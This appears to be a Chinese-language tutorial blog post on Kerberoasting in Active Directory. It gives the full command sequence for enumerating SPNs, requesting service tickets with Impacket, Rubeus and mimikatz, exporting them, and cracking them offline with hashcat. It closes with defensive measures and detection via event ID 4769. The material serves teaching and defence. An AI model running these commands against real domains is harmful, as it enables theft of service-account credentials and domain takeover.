Kerberosating攻击技术
Kerberosating 攻击
原理
攻击流程示意图:

攻击者通过正常域用户密码认证获取 TGT,利用该 TGT 请求指定 SPN 的 ST 时指定 易破解的 RC4_HMAC_MD5 加密类型。若 TGT 有效,KDC 会用注册该 SPN 的账户 Hash 加密 ST 返回,攻击者提取后可离线爆破出该账户明文密码,如果该服务在域内被配置为高权限运行,那么攻击者可能接管整个域。
注意:Kerberoasting 攻击一般只针对注册用户的 SPN,因为机器账户的密码是随机生成的 128 位字符,是不可能爆破出来的
Kerberosating 攻击在实战中主要分为以下四步:
- 查询域内注册于域用户下的 SPN
- 请求指定的 SPN 的 ST
- 导出请求的 ST
- 对该导出的 ST 进行离线爆破
攻击流程&示例
SPN 枚举
需要枚举域内所有用户注册于域用户的 SPN,默认情况下,域内会有一个注册在用户 Krbtgt 下的 SPN kadmin/changepw。但该 SPN 对于 Kerberosating 攻击是没有意义的,因为用户 Krbtgt 的密码是随机生成的,几乎不可能爆破出来,通过以下几个工具对 SPN 进行枚举:
法一:RiskySPN
RiskySPN 是一个 Powershell 脚本的集合,专注于检测与 SPN 相关的账户是否滥用。该脚本可以帮助攻击者自动识别弱密码服务票据,根据用户账户和密码过期时间来查找最容易包含弱密码的票据。执行如下的命令,该脚本会自动查找并过滤出(自动去除注册于 Krbtgt 下的 Kadmin/changepw)当前域内注册于域用户下的可能包含弱密码的 SPN 的详细信息。
powershell -ep bypass
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData
运行 Find-PotentiallyCrackableAccounts.ps1 脚本探测域内注册于用户下的 SPN,如下图所示,可以看到探测出用户 svc-thm 下注册了 SPN:

法二:GetUserSPNs
GetUserSPNs 是 kerberoast 工具集中查询注册于域内用户下的 SPN 的脚本,该脚本会查询域内所用注册于用户下的 SPN,包括注册于 Krbtgt 下的 Kadmin/changepw。该工具集合有 PowerShell 和 VBS 两种语言的脚本,使用命令如下:
#VBS 脚本的用法
cscript .\GetUserSPNs.vbs
# PowerShell 脚本的用法
Import-Module .\GetUserSPNs.ps1

法三:PowerView.ps1
PowerView.ps1 是 PowerSpolit 中 Recon 目录下的 PowerShell 脚本,该脚本可用于查询出域用户下注册了 SPN 的用户,包括 Krbtgt 用户,并返回用户的详细信息。该脚本使用命令如下:
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetUser -SPN

请求服务票据
当过滤出哪个用户下注册了 SPN 之后,就需要请求这些 SPN 的服务票据了,下面是几个常用的进行 SPN 服务票据请求的工具。
Impacket - GetUserSPNs
Impacket 中的 GetUserSPNs.py 脚本可以请求注册于目标用户下的所有 SPN 的服务票据,也可以请求注册于指定于用户下的 SPN 的服务票据。该脚本使用的命令如下:
#请求注册于用户下的所有 SPN 的服务票据,并以 hashcat 能破解的格式保存为 hash.txt 文件
python .\GetUserSPNs.py -request -dc-ip <target_IP> <域名>/<ADuser>:<passwd> -outputfile .\hash.txt
#请求注册于指定用户 jack 下的 SPN 的服务票据,并以 hashcat 能破解的格式保存为 hash2.txt 文件
python .\GetUserSPNs.py -request -dc-ip <target_IP> <域名>/<ADuser>:<passwd> -outputfile .\hash.txt -request-user <targetUser>


Rubeus
Rubeus 中的 Kerberoast 模块支持对所有用户或特定用户执行 Kerberoasting 操作,它的原理在于先用 LDAP 查询域内所有注册在域用户下的 SPN(除了 Kadmin/changepw),再通过发送 TGS 包,直接输出能使用 John 或 hashcat 爆破的 Hash。该工具的使用命令如下:
#请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件
Rubeus.exe kerberoast /format:hashcat /outfile:hash.txt
#请求注册于用户下的指定SPN的服务票据,并以john能破解的格式保存为hash.txt文件
Rubeus.exe kerberoast /spn:SQLServer/<DC主机名>.<域名>:1433/MSSQL /format:john /outfile:hash.txt

mimikatz
使用 mimikatz 请求指定 SPN 的服务票据的命令如下,请求的服务票据将保存在内存中,如图所示:
#请求指定 SPN 的服务票据
.\mimikatz.exe "kerberos::ask /target:SQLServer/<域控主机名>.<域名>:<目标服务端口>/<目标服务>"
导出服务票据
在请求服务票据的过程中,有的工具可以直接将票据打印出来保存为文件,而有的工具会将票据保存在内存中。对于保存在内存中的票据。可以使用以下的命令查看:
# cmd 运行
Klist
#在mimikatz 下面执行
Kerberos::list
如果内存中有票据,那就需要将其导出为文件。

mimikatz 导出票据
使用 mimikatz 将内存中的的票据导出来的命令如下,执行完成后,会在 mimikatz 同目录下导出.kirbi 格式的票据文件:
mimikatz.exe "kerberos::list /export" "exit"
离线破解服务票据
通过前几步取得了.kirbi 票据文件或 hashcat、John 能直接破解的文件,接下来就需要本地离线破解服务票据了。
kerberoast - tgsrepcrack
kerberoast 是用于攻击 Kerberos 实现的一些工具的集合。该工具中的 tgsrepcrack.py 脚本可以对 mimikatz 导出的.kirbi 格式的票据进行爆破,使用 tgsrepcrack.py 脚本离线破解.kirbi 文件的命令如下,如图所示,可以看到破解的密码为 Admin123
python3 tgsrepcrack.py pass.txt 1-40a10000-Administrator@SQLSever\~DC.hack.com\~1433\~MSSQL-HACK.COM.kirbi

hashcat
针对 Impacket 和 Rebeus 请求的票据格式,可以使用 hashcat 执行如下的命令来进行爆破。
hashcat -m 13100 hash.txt pass.txt --force
Kerberoasting 攻击防御
对于防守此种攻击有以下几种方法:
1)确保服务账户和密码为强密码,具有随机性并定期修改。
2)Kerberoasting 能成功的最大因素就是 KDC 返回的 ST 是用 RC4_HMAC_MD5 加密算法加密的,攻击者可以比较简单地进行爆破。如果配置了强制使用 AES256_HMAC 方式对 Kerberos 票据进行加密,那么即使攻击者获取了 ST,也无法将其破解。但这种加密方式存在兼容性的问题。
3)许多服务账户在域中被分配了过高的权限,从而导致了攻击者在破解该服务账户的密码后,能迅速进行域内权限提升。因此,应该对域内的服务账户权限进行限制,采取最小化权限的原则。
4)防守方在检测 Kerberoasting 攻击时,可以进行日志审计,重点关注事件 ID 为 4769(请求 Kerberos 服务票据操作)的日志。如果有过多的 4769 日志,可以对事件 ID 为 4769 的日志进行筛选,筛选出票据加密类型为 0x17(RC4_HMAC)的日志。

浙公网安备 33010602011771号